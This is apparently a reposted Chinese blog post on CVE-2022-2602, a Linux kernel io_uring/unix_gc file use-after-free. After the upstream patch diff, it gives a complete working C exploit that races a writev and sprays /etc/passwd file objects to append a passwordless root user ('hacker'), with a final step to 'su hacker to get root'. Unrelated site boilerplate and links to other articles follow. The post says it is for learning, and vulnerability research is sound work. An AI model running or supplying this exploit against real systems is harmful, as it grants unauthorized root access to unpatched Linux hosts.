CVE-2022-2602:unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF

前言

复现该漏洞只是为了学习相关知识,在这里仅仅做简单记录下 exp,关于漏洞的详细内容请参考其他文章,最后在 v5.18.19 内核版本上复现成功,v6.0.2 复现失败

漏洞利用

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;
  *	@csum_level: indicates the number of consecutive checksums found in
  *		the packet minus one that have been verified as
  *		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files
  *	@dst_pending_confirm: need to confirm neighbour
  *	@decrypted: Decrypted SKB
  *	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {
 #endif
 	__u8			slow_gro:1;
 	__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;
 
 #ifdef CONFIG_NET_SCHED
 	__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)
 
 		UNIXCB(skb).fp = fpl;
 		skb->sk = sk;
+		skb->scm_io_uring = 1;
 		skb->destructor = unix_destruct_scm;
 		refcount_add(skb->truesize, &sk->sk_wmem_alloc);
 	}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)
 /* The external entry point: unix_gc() */
 void unix_gc(void)
 {
+	struct sk_buff *next_skb, *skb;
 	struct unix_sock *u;
 	struct unix_sock *next;
 	struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)
 
 	spin_unlock(&unix_gc_lock);
 
+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+
 	/* Here we are. Hitlist is filled. Die. */
 	__skb_queue_purge(&hitlist);
 
 	spin_lock(&unix_gc_lock);
 
+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+
 	/* All candidates should have been detached by now. */
 	BUG_ON(!list_empty(&gc_candidates));

unix_gc 错误释放 io_uring 注册的文件导致的 file UAF

exp 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

void prepare() {
        system("touch /tmp/dummy");
        system("chmod 777 /tmp/dummy");
}

static int run_wait_lock = 0;
void* slow_write() {
        #define PAGE_SIZE 0x1000
        #define WRITE_PAGE_NUMS 0x3333

        puts("[+] Start in slow_write");
        int fd = open("/tmp/dummy", O_RDWR);
        if (fd < 0) err_exit("FAILED to open /tmp/dummy");

        uint64_t start_addr = 0x30000000;
        uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;
        uint64_t i;
        for (i = 0; i < WRITE_PAGE_NUMS; i++) {
                void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,
                                PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);

                if (addr == MAP_FAILED) err_exit("mmap");
        }

        assert(i > 0);

        struct iovec iovs[20];
        for (i = 0; i < 20; i++) {
                iovs[i].iov_base = (void*)start_addr;
                iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;

        }

        puts("[+] Occupying inode lock");
        run_wait_lock = 1;
        if (writev(fd, iovs, 20) < 0) {
                err_exit("write");
        }
        close(fd);
        puts("[+] End in slow_write");
        puts("[+] Waiting for 10 senonds");
        sleep(10);
        exit(0);
}

void sendfd(int sfd, int fd) {

        struct msghdr msg;
        char control_buf[4096] = { 0 };
        struct cmsghdr* cmsg;
        int fds[1] = { fd };
        memset(&msg, 0, sizeof(msg));

        msg.msg_control = control_buf;
        msg.msg_controllen = sizeof(control_buf);

        cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;
        cmsg->cmsg_len = CMSG_LEN(sizeof(fds));

        memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));
        msg.msg_controllen = CMSG_SPACE(sizeof(fds));

        sendmsg(sfd, &msg, 0);
}


int main() {
        int s[2];
        int rfd[2];
        int io_uring_fd;
        pthread_t thr1;
        struct io_uring_sqe* sqe;
        struct io_uring ring;
        struct stat st;
        struct iovec iov[1];
        int fds[300];
        int i = 0;

        bind_core(0);
        prepare();
        for (i = 0; i < 300; i++) {
                if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)
                       err_exit("open /etc/passwd");
        }

        stat("/etc/passwd", &st);
        int size = 0;
        int orig_size = st.st_size;

        /* hacker::0:0:/root:/root:/bin/sh\n */
        iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";
        iov[0].iov_len = strlen(iov[0].iov_base);

        // s[0]         ref_count = 1
        // s[1]         ref_count = 1
        if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");

        // s[0]         ref_count = 1
        // s[1]         ref_count = 1
        // io_uring_fd  ref_count = 1
        // rfd[1]       ref_count = 1

        io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);
        sqe = io_uring_get_sqe(&ring);
        printf("[+] sqe: %p\n", sqe);

        io_uring_fd = ring.ring_fd;
        printf("[+] io_uring_fd: %d\n", io_uring_fd);
        if (io_uring_fd < 0) err_exit("io_uring_queue_init");

        rfd[0] = s[1];
        rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);

        // s[0]         ref_count = 1
        // s[1]         ref_count = 2   inflight = 1
        // io_uring_fd  ref_count = 1
        // rfd[1]       ref_count = 2
        // io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}
        io_uring_register_files(&ring, rfd, 2);
        sqe->opcode = IORING_OP_WRITEV;
        sqe->fd = 1;
        sqe->addr = (long long)iov;
        sqe->len = 1;
        sqe->flags = IOSQE_FIXED_FILE;

        // s[0]         ref_count = 1
        // s[1]         ref_count = 2   inflight = 1
        // io_uring_fd  ref_count = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}
        close(rfd[1]);

        // s[0]         ref_count = 1
        // s[1]         ref_count = 2   inflight = 1
        // io_uring_fd  ref_count = 2   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        sendfd(s[0], io_uring_fd);

        // s[0]         ref_count = 0 ==> free
        // s[1]         ref_count = 1   inflight = 1
        // io_uring_fd  ref_count = 2   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        close(s[0]);
        close(s[1]);

        // 占据 inode 锁
        pthread_create(&thr1, NULL, slow_write, NULL);
        // writev 等待 inode 锁
        while (!run_wait_lock) {}
        sleep(2);
        io_uring_submit(&ring);

        // s[0]         ref_count = 0 ==> free
        // s[1]         ref_count = 1   inflight = 1
        // io_uring_fd  ref_count = 1   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        io_uring_queue_exit(&ring);

        puts("[+] Triggering unix_gc");
        // 触发 unix_gc
        // s[0]         ref_count = 0 ==> free
        // s[1]         ref_count = 1   inflight = 1
        // io_uring_fd  ref_count = 1   inflight = 1
        // rfd[1]       ref_count = 1
        // io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}
        // s[1].sk_receive_queue     -> io_uring_fd
        // 此时 rfd[1] 被错误的释放 ==> rfd[1]
        sleep(2);

        for (i = 0; i < 150; i++) {
                close(fds[i+2]);
        }

        close(socket(AF_UNIX, SOCK_DGRAM, 0));
        puts("[+] unix_gc done");

        puts("[+] Spray /etc/passwd file");
        // 打开大量 /etc/passwd 去占据 uaf_file
        for (i = 0; i < 700; i++) {
                if (open("/etc/passwd", O_RDONLY) < 0) {
                        printf("[X] Error at %d\n", i);
                        err_exit("FAILED to spray file");
                }
        }

        // 等待 writev 获取 inode 锁,从而写 /etc/passwd
        // 当 /etc/passwd 文件大小发送变化时,说明成功向 /etc/passwd 写入恶意数据
        puts("[+] Waiting for overwriting /etc/passwd");
        while (orig_size == st.st_size) {
                stat("/etc/passwd", &st);
                size = st.st_size;
                sleep(1);
        }

        puts("[+] su hacker to get root");

        return 0;
}

效果如下:
在这里插入图片描述

参考文章

[漏洞分析] CVE-2022-2602 io_uring UAF内核提权详细解析
【kernel exploit】CVE-2022-2602垃圾回收错误释放iouring的file导致UAF

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/584160.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

vscode 配置与插件记录

vscode插件 python PythonPython DebuggerruffisortPylanceJupyterJupyter KeymapJupyter Slide ShowJupyter Cell TagsautoDocstring - Python Docstring Generator ruff isort pylance autodocsting 在setting.json里这么配置&#xff0c;这样你保存时就会自动format…

WordPress缓存插件有哪些?好用的缓存插件分享

目前WordPress缓存插件有&#xff1a;WP Rocket、WP Super Cache、W3 Total Cache、Sucuri、NitroPack、SiteGround Optimizer、LiteSpeed Cache、WP-Optimize、Hummingbird、Cache Enabler、Comet Cache。 在当今的数字世界中&#xff0c;拥有一个高效的网站对于吸引和留住用…

Hadoop之路---伪分布式环境搭建

hadoop更适合在liunx环境下运行&#xff0c;会节省后期很多麻烦&#xff0c;而用虚拟器就太占主机内存了&#xff0c;因此后面我们将把hadoop安装到wsl后进行学习,后续学习的环境是Ubuntu-16.04 &#xff08;windows上如何安装wsl&#xff09; 千万强调&#xff0c;创建完hado…

数据结构(八)----树

目录 一.树的逻辑结构 1.双亲表示法(顺序存储) 2.孩子表示法&#xff08;顺序链式存储&#xff09; 3.孩子兄弟表示法&#xff08;链式存储&#xff09; 二.树的遍历 1.先根遍历 2.后根遍历 3.层次遍历 三.森林的遍历 1.森林的先序遍历 2.森林的中序遍历 四.哈夫曼…

基于FPGA的数字信号处理(6)--如何确定Verilog表达式的符号

前言 尽管signed语法的使用能带来很多便利&#xff0c;但同时也给表达式的符号确定带来了更多的不确定性。比如一个有符号数和一个无符号数的加法/乘法结果是有符号数还是无符号数&#xff1f;一个有符号数和一个无符号数的比较结果是有符号数还是无符号数&#xff1f;等等。接…

数学建模--图论最短路径基础

1.图的定义 学过数据结构或者离散数学的小伙伴们应该知道图的概念&#xff0c;我在这里简单的介绍一下&#xff1a; 图的概念和我们理解的是很不一样的&#xff0c;这里的图并不是我们的生活里面的图片&#xff0c;而是一种表示不同的数据之间的关系&#xff0c;例如这里的5个…

CMMI认证--基础知识总览

最近公司研发部搞CMMI L5认证&#xff0c;顺便记录下培训内容。 文章目录 一、什么是CMMI二、CMMI作用三、CMMI的成熟度等级四、过程域五、此次CMMI DEV 2.0或3.0特点六、CMMI 评估1、评估方法2、客观证据3、每个过程域如何给出评分等级 七、CMMI规程文件八、CMMI L5将度量统计…

Re69:读论文 LaMDA: Language Models for Dialog Applications

诸神缄默不语-个人CSDN博文目录 诸神缄默不语的论文阅读笔记和分类 论文名称&#xff1a;LaMDA: Language Models for Dialog Applications ArXiv网址&#xff1a;https://arxiv.org/abs/2201.08239 本文介绍谷歌提出的对话大模型LaMDA&#xff0c;主要关注对各项指标&#x…

【C 数据结构】深度优先搜索、广度优先搜索

文章目录 【 1. DFS 深度优先搜索 】1.1 基本原理1.2 C 实现 【 2. BFS 广度优先搜索 】2.1 基本原理2.2 C 实现 【 3. 深度优先生成树、广度优先生成树 】【 4. 深度优先生成森林、广度优先生成森林 】4.1 深度优先生成森林4.2 广度优先生成森林 对存储的图中的顶点进行遍历搜…

【信号与系统杂谈 - 1】为什么拉普拉斯变换有收敛域而傅里叶变换没有

这个问题是我在推导傅里叶变换的时移特性公式和拉普拉斯变换的延时特性公式时发现的&#xff08;即拉氏变换总是需要考虑收敛域的原因&#xff09; 援引知乎上的回答解释

12_Scala_package

文章目录 Scaal面向对象编程1.回顾Java2.package可以多次声明3.设置作用域&#xff0c;设置上下级4.包可以当作对象使用5.import6.Scala用_取代Java *7.导入多个包8.屏蔽类9.类起别名10.import的规则11.有些包无需导入 Scaal面向对象编程 Scala是一门完全面向对象语言&#xf…

C# winform 漂亮的日期时间控件

源代码下载&#xff1a; https://download.csdn.net/download/gaoxiang19820514/89242240 效果图 在 HZH-Controls控件 基础上修改的日期控件 因为HZH_Controls控件 中的日期控件太大了&#xff0c; 我的程序中需要多个日期时间的控件放不下&#xff0c;主题是绿色的&#…

Springboot+Vue项目-基于Java+MySQL的校园疫情防控系统(附源码+演示视频+LW)

大家好&#xff01;我是程序猿老A&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。 &#x1f49e;当前专栏&#xff1a;Java毕业设计 精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f380; Python毕业设计 &…

力扣刷题Day2

题目链接&#xff1a; 24. 两两交换链表中的节点 - 力扣&#xff08;LeetCode&#xff09; 效果&#xff1a; 解题思路&#xff1a; 给定一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后的链表。 注意不可以只是单纯的改变节点内部的值&#xff0c;而…

Docker--compose概述与部署

目录 一、概述 1. Compose简介 1.1 docker compose常用命令 1.2 Compose配置常用字段 2. YAML简介 2.1 YAML支持的数据结构 2.2 YML文件编写注意事项 2.3 Docker Compose文件结构 3. Docker-Compose安装 ​编辑 4.docker Compose撰写nginx 镜像 1. 准备环境 ​编辑…

苹果和OpenAI再续前缘,iOS 18会是颠覆级的吗?|TodayAI

据彭博社最新报道&#xff0c;苹果公司已经与人工智能领域的先锋企业OpenAI重启了对话&#xff0c;双方目前正在讨论一项可能的合作&#xff0c;以将OpenAI的生成式人工智能技术整合到苹果即将推出的iOS 18操作系统中。这一举措表明&#xff0c;苹果正加速其在人工智能技术上的…

【EI会议|稳定检索】2024年传感技术与图像处理国际会议(ICSTIP 2024)

2024 International Conference on Sensing Technology and Image Processing 一、大会信息 会议名称&#xff1a;2024年传感技术与图像处理国际会议会议简称&#xff1a;ICSTIP 2024收录检索&#xff1a;提交Ei Compendex,CPCI,CNKI,Google Scholar等会议官网&#xff1a;htt…

final原理

文章目录 1. 设置 final 变量的原理2. 获取 final 变量的原理 1. 设置 final 变量的原理 理解了 volatile 原理&#xff0c;再对比 final 的实现就比较简单了 public class TestFinal {final int a 20; }字节码 0: aload_0 1: invokespecial #1 // Method java/lang/Object…

数组 Leetcode 704 二分查找/Leetcode 59 螺旋矩阵/Leetcode 203移除链表元素

数组 Leetcode 704 二分查找 Leetcode 704 学习记录自代码随想录 二分法模板记忆&#xff0c;数值分析中牛顿迭代法 class Solution { public:int search(vector<int>& nums, int target) {int left 0, right nums.size()-1;// 是否需要等于号&#xff0c;假设…

SpringCloud之OpenFeign

学习笔记&#xff1a; 官网地址&#xff1a;https://docs.spring.io/spring-cloud-openfeign/docs/current/reference/html/#spring-cloud-feign 源码&#xff1a;https://github.com/spring-cloud/spring-cloud-openfeign 1、概念总结 OpenFeign是一个声明式的Web服务客户端…